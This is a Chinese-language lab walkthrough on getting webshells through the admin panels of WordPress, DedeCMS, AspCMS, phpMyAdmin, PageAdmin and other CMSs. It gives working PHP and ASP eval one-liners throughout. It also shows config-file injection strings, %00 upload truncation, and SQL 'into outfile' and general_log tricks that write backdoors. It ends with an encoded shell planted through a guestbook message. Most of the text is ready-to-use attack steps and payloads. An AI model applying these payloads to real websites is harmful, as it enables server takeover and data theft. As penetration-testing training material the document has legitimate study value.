网站后台getshell
概述
通过注入或者其他途径,获取网站管理员账号和密码后,找到后台登录地址,登录后,寻找后台漏洞上传网页后门,获取网站的webshell
webshell的作用是方便攻击者,webshell是拥有fso权限,根据fso权限的不同,可以对网页进行编辑,删除,上传或者下载,查看文件。
攻击者也可以通过这个webshell对服务器进行提权,提权成功后,会得到服务器管理权限。
拿webshell也叫getshell。
途径
网站后台的因为功模块较多,很多开发人员也不会对后台的业务输入,进行严格过滤,输入有危害的内容,与漏洞配合很容易拿到网站的webshell。
可以通过文件上传漏洞、SQL注入漏洞、文件任意写入漏洞、文件远程下载漏洞,SQL语句执行漏洞、数据库备份漏洞,文件包含漏洞等漏洞获取网站的webshell。
根据利用的漏洞类型分为:
模板编辑拿webshell
通过修改模块写入一句话,网站再调用模板的时,会自动加载这个模板,运行后门。
文件上传拿webshell
通过后台的上传模块,上传网页后门,就可以拿到webshell
文件写入拿webshell
通过可控参数将恶意代码写入文件里,即可获取webshell
zip自解压拿webshell
上传zip文件,在其加入webshell文件,程序会自动解压,将后门解压到网站目录,可以获取webshell。
远程图片下载拿webshell
有的网站后台会存在远程图片下载功能,但是没有对其后缀名进行限制,导致可以下去webshell文件。
编辑器漏洞拿webshell
有的编辑器存在上传漏洞,通过编辑器漏洞可以获取网站的webshell。
备份拿webshell
很多的asp网站 都存在备份功能,上传有恶意的图片,备份成脚本文件,即可获取webshell
SQL语句执行拿webshell
有的网站存在sql执行命令,可以通过命令备份或导出一句话后门到指定网站目录,即可获取webshell
SQL注入写shell 拿webshell
网站前台设置了防注入,但是后台一般都存在注入,如果权限有读写,使用命令进行读写文件,或者执行写入后门,即可获取webshell
实战
word press后台 getshell
我们先登陆后台
后台路径
www.cbi1.com/wp-admin/
admin 123456 登录进入后台管理
修改模板getshell
接下来我们进入 外观 主题 编辑
我们通过写入php一句话方式getshell,看到404模板为php后缀文件,所以我们在此加入一句话会被解析执行。
一句话
<?php phpinfo();eval($_POST['123']);?>
在靶机上我们查看文件发现一句话确实被写入了
路径
www.cbi1.com\wp-content\themes\twentysixteen\404.php
看到phpinfo语句被执行
用蚁剑也能连接上
zip自解压getshell
进入后台管理后,在外观 主题 下发现可上传主题
在事先准备好的主题下写入一句话,然后压缩为zip格式上传即可
可看到上传上去了
路径
http://www.cbi1.com/wp-content/themes/moon/1.php
可看到phpinfo信息
连接也可成功
dedecms后台 getshell
首先还是要进入后台
路径
http://www.cbi2.com/dede/login.php
admin 123456 进入后台管理
文件上传 getshell
进入后台后发现附件管理里有个上传新文件,点击后发现限制了后缀
然而点击文件式管理器后,发现也可上传文件且没有限制
我们准备好一句话上传上去
路径
http://www.cbi2.com/uploads/1.php
修改模板getshell
我们在模板 默认模板管理里发现可以修改模板
但是里面的都是htm后缀,我们如果加入php一句话显然不会被作为php代码解析
接着我们在生成里发现了更新主页htm,我们可以把主页htm后缀改为php后缀,即可解决一句话不解析的问题
在index.htm模板里加入一句话
在生成里更改主页的后缀
访问index.php,看到一句话被作为php解析了
任意命令执行getshell
代码审计后发现此方法
登录后台后,我们在模块里发现广告管理 增加广告中可以写入代码
我们写入一句话
写入了
路径
http://www.cbi2.com/plus/ad_js.php?aid=5
进行连接
这里写入的一句话内容
<?php phpinfo();eval($_POST['123']);?>
但是无法用蚁剑连接,把post里的引号去掉,发现可以连接了
<?php phpinfo();eval($_POST[123]);?>
这里的一句话是写入数据库,所以引号会报错
可以看到拿到了webshell
分析源码 这是在网站里找到的广告调用
<?php
/**
*
* 广告JS调用方式
*
* @version $Id: ad_js.php 1 20:30 2010年7月8日Z $
* @package DedeCMS.Site
* @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
require_once(dirname(__FILE__)."/../include/common.inc.php");
if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');
$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
$row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
$adbody = '';
if($row['timeset']==0)
{
$adbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
$adbody = $row['expbody'];
} else {
$adbody = $row['normbody'];
}
}
$adbody = str_replace('"', '\"',$adbody);
$adbody = str_replace("\r", "\\r",$adbody);
$adbody = str_replace("\n", "\\n",$adbody);
$adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
$fp = fopen($cacheFile, 'w');
fwrite($fp, $adbody);
fclose($fp);
}
include $cacheFile;
首先获取广告aid,若为0返回 request error;
然后从数据中获取内容拿到catch file 文件里,然后包含进来,这会导致命令执行
所以我们可以写入一句话getshell
aspcms后台 getshell
我们首先进入后台,路径如下
www.cbi3.com/admin_aspcms
admin 123456进入后台
修改配置文件getshell
在后台里,如果可以修改网站配置文件,且没有做过滤,则我们可以写入准备好的语句getshell。
这里需要注意闭合的问题,因为配置文件在网站中是全局调用,出错的话网站无法访问。
字符类型闭合和数字闭合依次如下:
字符型用双引号闭合
"%><%eval request(chr(35))%><%
%><%eval request(chr(35))%><%
接下来我们找没有被过滤的地方
修改后再config配置文件中查看
此处不行
我们又发现了类似于之前的模板修改
但是后缀为html,我们需要修改后缀,这里需要让后缀为asp,抓包试下
改为asp后发现出错,这里也不行
接着我们再扩展功能-幻灯片设置这里,发现这里也是对配置文件进行修改
接着我们需要找的是没被过滤的地方,尝试后说明文字加双引号也被过滤
所以我们尝试数字这里,抓包
我们再这里尝试1后加一句话
%><%eval request(chr(35))%><%
一句话做url编码
最后如下
slidestyle=1%25><%25eval+request(chr(35))%25><%25
我们查看靶机的配置文件
连接地址
http://www.cbi3.com/config/AspCms_Config.asp
成功拿到了webshell
南方数据企业系统getshell
先进入后台,
http://www.cbi7.com/admin
admin 123456进入
上传截断getshell
这里找是否能直接上传脚本文件
看到这里有个上传点
直接上传asp脚本文件
防止体量太小前面加点字符
一句话
<%eval request("123")%>
直接上传asp文件发现不允许上传
但是我们在这里发现,上传时可以选择目录路径,猜测它上传时放到目录下,我们这里想必可以使用%00截断来上传asp文件
首先修改文件名称
然后修改目录路径做%00截断,截断后仍作为asp格式上传上去
做了url decode后
可以看到成功上传了
上传路径也显示出来了
http://www.cbi7.com/Upload/PicFiles/2.asp
拿到了webshell
修改配置文件getshell
这里我们也在找找这种方法getshell
我们在系统管理-网站信息设置里
发现单引号不会出错,双引号内部服务器出错
但是这里我们需要用双引号闭合
我们构造一句话
"%><%eval request(chr(35))%><%s="
“闭合前面的”
%>闭合前面的<%
中间写入asp一句话
<%闭合后面的%>
s=”闭合后面的”
虽然双引号闭合报内部服务器错误,但是我们用蚁剑连接发现可以连接
连接路径
www.cbi7.com/Inc/Const.asp
拿到webshell
我们在系统管理-常量设置,找到了系统的配置文件修改,这里显然也可插入一句话
<%eval request(chr(35))%>
直接再最后加入一句话
因为修改的是同一个常量文件,所以还是上面的路径
连接拿到了webshell
phpmyadmin getshell
我们打开phpstudy,安装phpmyadmin,登录phpmyadmin
执行sql命令 getshell
登录phpmyadmin后,我们可以使用into outfile写入后门
select '<?php phpinfo();eval($_POST[123]);?>' into outfile 'D:/phpstudy_pro/WWW/www.k123.com/x.php'
必须写入网站目录下,一句话后门才能被解析
命令无法执行因为在安装MySQL的时候限制了导入与导出的目录权限。只允许在规定的目录下才能导入,需要修改mysql配置文件
我们可以去掉导入的目录限制,再mysql配置文件中加入
secure_file_priv =
修改后重启mysql命令即可执行
可以再网站根目录下看到确实写入了
成功getshell
mysql日志文件getshell
我们利用mysql的日志文件写入shell,这个日志文件可以通过phpmyadmin,修改他的存放位置和后缀
首先我们再phpmyadmin中开启日志记录
SET global general_log = "ON";
我们可以在常量处查看是否修改
然后我们给日志一个保存路径,并且附加后缀
保存好原有路径,测试完后改回去
D:\phpstudy_pro\Extensions\MySQL5.7.26\data\WIN-GB0DQ04MBCM.log
SET global general_log_file ='D:/phpstudy_pro/WWW/www.k123.com/a.php';
然后我们搜索一句话会被日志记录下来
select '<?php phpinfo();eval($_POST[123]);?>'
可以看到日志记录在了网站目录下,并且我们查询的一句话被记录下了
此时我们的一句话后门就会被解析
并且成功getshell
pageadmin getshell
还是先登录后台管理,
www.cbi9.com/admin
admin 123456进入
上传模块getshell
进入后台后,我们首先在工具-文件管理处寻找,
这里我们发现可以改名,我们尝试后发现不能修改为php、asp等的后缀名,做了限制
然后我们在功能中发现了上传文件
经尝试发现不能上传php、asp后缀文件
功能中还有个模板安装,允许上传zip格式文件
我们这里尝试把一句话压缩为zip格式上传
发现可以上传
安装后我们在Templates/1 中找到了我们上传的模板
路径
www.cbi9.com/Templates/1/1.aspx
成功getshell
到这里我们发现一个事,既然zip上传可行,我们刚才的文件上传是不是也可以上传zip格式
尝试之后发现上传上去了,我们把它解压即可getshell,就不演示了
利用配置文件中的数据库连接信息getshell
我们在文件管理中发现了后缀为config的配置文件
查看后我们发现了数据库的连接信息
我们用数据库客户端连接它
user id为SA应该是个SQL server数据库
成功getshell
无忧企业系统 getshell
还是先找后台管理进入
www.cbi18.com/admin
admin 123456进入
上传文件getshell
进入后台后我们发现上传点
但是发现asp、php等的后缀无法上传
看到只允许xxx的,显然做了一个白名单,而且我们在网站设置处发现了这个白名单设置
那我们只需要把我们想要上传的后缀加上去上传即可,就不演示了
留言一句话到数据库getshell
如果access数据库是asp格式,我们可以插入一句话到数据库,访问数据库即可getshell
我们通过留言来写入一句话
在网站前台留言,然后再后台回复一句话
┼攠數畣整爠煥敵瑳∨≡┩愾 密码a
这样我们的一句话就插入到数据库里
我们可以直接通过数据库路径访问
asp文件名字需要url编码
500错误证明我们的一句话写入了
http://www.cbi18.com/Databases/%25%23%40%24%40%23%46%44%53%40%23%24%25%25%23.asp
成功getshell
我们也可以将数据库备份为asp文件,然后通过备份的路径访问webshell